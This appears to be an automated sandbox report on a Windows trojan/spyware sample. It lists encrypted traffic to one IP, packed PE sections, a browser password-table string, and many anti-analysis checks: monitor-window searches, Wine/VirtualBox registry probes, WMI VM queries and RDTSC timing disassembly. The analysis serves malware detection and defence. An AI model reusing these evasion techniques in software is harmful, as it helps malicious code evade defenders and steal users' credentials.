Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49731 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: dEugughckk.exe	Static PE information: section name:
Source: dEugughckk.exe	Static PE information: section name: .idata
Source: dEugughckk.exe	Static PE information: section name:

Source: dEugughckk.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: dEugughckk.exe	Static PE information: Section: ZLIB complexity 0.9996234170751634
Source: dEugughckk.exe	Static PE information: Section: amllbkxy ZLIB complexity 0.9944837733152828

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\dEugughckk.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: dEugughckk.exe, 00000000.00000003.2194610502.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194699172.000000000538C000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2220803046.000000000539D000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: dEugughckk.exe	ReversingLabs: Detection: 63%
Source: dEugughckk.exe	Virustotal: Detection: 54%

Source: C:\Users\user\Desktop\dEugughckk.exe

File read: C:\Users\user\Desktop\dEugughckk.exe

Jump to behavior

Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: dEugughckk.exe

Static file information: File size 1873920 > 1048576

Source: dEugughckk.exe

Static PE information: Raw size of amllbkxy is bigger than: 0x100000 < 0x19f800

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\dEugughckk.exe

Unpacked PE file: 0.2.dEugughckk.exe.d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;amllbkxy:EW;ejcrfawc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;amllbkxy:EW;ejcrfawc:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: dEugughckk.exe

Static PE information: real checksum: 0x1d170c should be: 0x1d61ec

Source: dEugughckk.exe	Static PE information: section name:
Source: dEugughckk.exe	Static PE information: section name: .idata
Source: dEugughckk.exe	Static PE information: section name:
Source: dEugughckk.exe	Static PE information: section name: amllbkxy
Source: dEugughckk.exe	Static PE information: section name: ejcrfawc
Source: dEugughckk.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_053825EA push esp; retf	0_3_05382601
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_053825EA push esp; retf	0_3_05382601
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_053825EA push esp; retf	0_3_05382601
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_053825EA push esp; retf	0_3_05382601
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_053825EA push esp; retf	0_3_05382601
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_053825EA push esp; retf	0_3_05382601
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_053825EA push esp; retf	0_3_05382601
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_053825EA push esp; retf	0_3_05382601
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_053825EA push esp; retf	0_3_05382601
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_053825EA push esp; retf	0_3_05382601
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_053825EA push esp; retf	0_3_05382601
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_053825EA push esp; retf	0_3_05382601
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_053825EA push esp; retf	0_3_05382601
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_053825EA push esp; retf	0_3_05382601
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_053825EA push esp; retf	0_3_05382601
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_053825EA push esp; retf	0_3_05382601
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_053825EA push esp; retf	0_3_05382601
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_053825EA push esp; retf	0_3_05382601
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_053825EA push esp; retf	0_3_05382601
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_053825EA push esp; retf	0_3_05382601
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_053825EA push esp; retf	0_3_05382601
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_053825EA push esp; retf	0_3_05382601
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_05384594 push eax; iretd	0_3_05384595
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_05384594 push eax; iretd	0_3_05384595
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_05384594 push eax; iretd	0_3_05384595
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_05384594 push eax; iretd	0_3_05384595
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_05384594 push eax; iretd	0_3_05384595
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_05384594 push eax; iretd	0_3_05384595
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_05384594 push eax; iretd	0_3_05384595
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_05384594 push eax; iretd	0_3_05384595
Source: C:\Users\user\Desktop\dEugughckk.exe	Code function: 0_3_05384594 push eax; iretd	0_3_05384595

Source: dEugughckk.exe	Static PE information: section name: entropy: 7.984162457467838
Source: dEugughckk.exe	Static PE information: section name: amllbkxy entropy: 7.953990865645969

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\dEugughckk.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\dEugughckk.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\dEugughckk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\dEugughckk.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 128F7B second address: 128867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push ebx 0x00000008 jnl 00007FF01CF91323h 0x0000000e jmp 00007FF01CF9131Dh 0x00000013 pop ebx 0x00000014 nop 0x00000015 sub dword ptr [ebp+122D1B02h], ebx 0x0000001b push dword ptr [ebp+122D08CDh] 0x00000021 jmp 00007FF01CF91322h 0x00000026 call dword ptr [ebp+122D34F5h] 0x0000002c pushad 0x0000002d cld 0x0000002e xor eax, eax 0x00000030 mov dword ptr [ebp+122D2E4Eh], edx 0x00000036 mov edx, dword ptr [esp+28h] 0x0000003a pushad 0x0000003b mov edi, 53746DF0h 0x00000040 push ebx 0x00000041 jnp 00007FF01CF91316h 0x00000047 pop edx 0x00000048 popad 0x00000049 cld 0x0000004a mov dword ptr [ebp+122D2B74h], eax 0x00000050 pushad 0x00000051 mov ebx, 5A63656Ch 0x00000056 mov ebx, 32C6E414h 0x0000005b popad 0x0000005c mov esi, 0000003Ch 0x00000061 jno 00007FF01CF91320h 0x00000067 add esi, dword ptr [esp+24h] 0x0000006b or dword ptr [ebp+122D2E4Eh], esi 0x00000071 lodsw 0x00000073 mov dword ptr [ebp+122D2E4Eh], esi 0x00000079 add eax, dword ptr [esp+24h] 0x0000007d cld 0x0000007e mov ebx, dword ptr [esp+24h] 0x00000082 or dword ptr [ebp+122D2E4Eh], ecx 0x00000088 nop 0x00000089 pushad 0x0000008a push eax 0x0000008b push edx 0x0000008c push esi 0x0000008d pop esi 0x0000008e rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 128867 second address: 128875 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007FF01C80C276h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 128875 second address: 128891 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b jmp 00007FF01CF91320h 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 128891 second address: 128897 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 128897 second address: 12889B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2A4A52 second address: 2A4A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2A4BB9 second address: 2A4BC3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF01CF91316h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2A648F second address: 128867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 add dword ptr [esp], 3E63603Ah 0x0000000d mov cx, E04Bh 0x00000011 push dword ptr [ebp+122D08CDh] 0x00000017 add edx, 53470123h 0x0000001d call dword ptr [ebp+122D34F5h] 0x00000023 pushad 0x00000024 cld 0x00000025 xor eax, eax 0x00000027 mov dword ptr [ebp+122D2E4Eh], edx 0x0000002d mov edx, dword ptr [esp+28h] 0x00000031 pushad 0x00000032 mov edi, 53746DF0h 0x00000037 push ebx 0x00000038 jnp 00007FF01C80C276h 0x0000003e pop edx 0x0000003f popad 0x00000040 cld 0x00000041 mov dword ptr [ebp+122D2B74h], eax 0x00000047 pushad 0x00000048 mov ebx, 5A63656Ch 0x0000004d mov ebx, 32C6E414h 0x00000052 popad 0x00000053 mov esi, 0000003Ch 0x00000058 jno 00007FF01C80C280h 0x0000005e add esi, dword ptr [esp+24h] 0x00000062 or dword ptr [ebp+122D2E4Eh], esi 0x00000068 lodsw 0x0000006a mov dword ptr [ebp+122D2E4Eh], esi 0x00000070 add eax, dword ptr [esp+24h] 0x00000074 cld 0x00000075 mov ebx, dword ptr [esp+24h] 0x00000079 or dword ptr [ebp+122D2E4Eh], ecx 0x0000007f nop 0x00000080 pushad 0x00000081 push eax 0x00000082 push edx 0x00000083 push esi 0x00000084 pop esi 0x00000085 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2A6650 second address: 2A6654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2A6746 second address: 2A675F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF01C80C281h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2A67B9 second address: 2A6837 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FF01CF91325h 0x0000000d nop 0x0000000e or dword ptr [ebp+122D1805h], ecx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007FF01CF91318h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 pushad 0x00000031 xor dword ptr [ebp+122D37C4h], edi 0x00000037 mov si, dx 0x0000003a popad 0x0000003b call 00007FF01CF91319h 0x00000040 jmp 00007FF01CF9131Ah 0x00000045 push eax 0x00000046 js 00007FF01CF91336h 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007FF01CF91324h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2A6837 second address: 2A684F instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF01C80C276h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jng 00007FF01C80C278h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2A684F second address: 2A687C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01CF91320h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e jmp 00007FF01CF91323h 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C98B9 second address: 2C98DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01C80C281h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FF01C80C27Bh 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C98DD second address: 2C98F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF01CF91320h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C76B5 second address: 2C76D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FF01C80C281h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C76D1 second address: 2C76F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF01CF91322h 0x00000009 jns 00007FF01CF91316h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C7B7B second address: 2C7BAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01C80C27Ah 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jno 00007FF01C80C28Eh 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C7CEF second address: 2C7CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C7CF3 second address: 2C7CFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C7E40 second address: 2C7E44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C7E44 second address: 2C7E48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C7E48 second address: 2C7E6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FF01CF91328h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C897D second address: 2C89A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF01C80C282h 0x00000009 jmp 00007FF01C80C284h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C89A7 second address: 2C89B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01CF9131Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C90F3 second address: 2C90F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C90F7 second address: 2C9107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FF01CF9131Eh 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C9107 second address: 2C911C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FF01C80C27Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C96BF second address: 2C96C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C96C3 second address: 2C96D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007FF01C80C276h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C96D5 second address: 2C96D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C96D9 second address: 2C96DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C96DD second address: 2C96E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C96E7 second address: 2C96F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF01C80C276h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C96F1 second address: 2C9709 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01CF9131Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop ebx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C9709 second address: 2C970F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C970F second address: 2C9715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C9715 second address: 2C9731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF01C80C27Fh 0x00000009 popad 0x0000000a jc 00007FF01C80C27Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2C9731 second address: 2C9737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2CF7CE second address: 2CF7D8 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF01C80C27Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
